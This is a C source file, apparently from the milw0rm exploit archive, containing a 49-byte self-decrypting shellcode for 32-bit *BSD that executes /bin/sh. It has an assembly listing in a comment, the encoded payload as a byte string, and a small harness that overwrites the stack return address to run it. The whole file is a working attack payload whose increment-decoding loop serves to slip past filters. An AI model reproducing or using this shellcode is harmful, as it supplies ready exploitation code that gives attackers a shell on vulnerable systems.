42 lines
No EOL
859 B
C
42 lines
No EOL
859 B
C
/* Self decripting (dec/inc) shellcode executes /bin/sh
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Size 49 bytes
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OS *BSD
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/rootteam/dev0id (www.sysworld.net)
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dev0id@uncompiled.com
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BITS 32
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jmp short shellcode
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main:
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pop esi
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xor ecx,ecx
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mov cl,28
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main_decript:
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inc byte [esi+ecx]
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loop main_decript
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inc byte [esi]
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push esi
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ret
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shellcode:
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call main
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db 0xea,0x0d,0x5d,0x30,0xbf,0x87,0x45,0x06,0x4f,0x53,0x55,0xaf,0x3a,0x4f,0xcc
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db 0x7f,0xe7,0xec,0xfe,0xfe,0xfe,0x2e,0x61,0x68,0x6d,0x2e,0x72,0x67
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*/
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char shellcode[] =
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"\xeb\x0e\x5e\x31\xc9\xb1\x1c\xfe\x04\x0e\xe2\xfb\xfe\x06\x56"
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"\xc3\xe8\xed\xff\xff\xff\xea\x0d\x5d\x30\xbf\x87\x45\x06\x4f"
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"\x53\x55\xaf\x3a\x4f\xcc\x7f\xe7\xec\xfe\xfe\xfe\x2e\x61\x68"
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"\x6d\x2e\x72\x67";
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int
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main(void)
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{
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int *ret;
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ret = (int*)&ret + 2;
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(*ret) = shellcode;
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}
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// milw0rm.com [2004-09-26]
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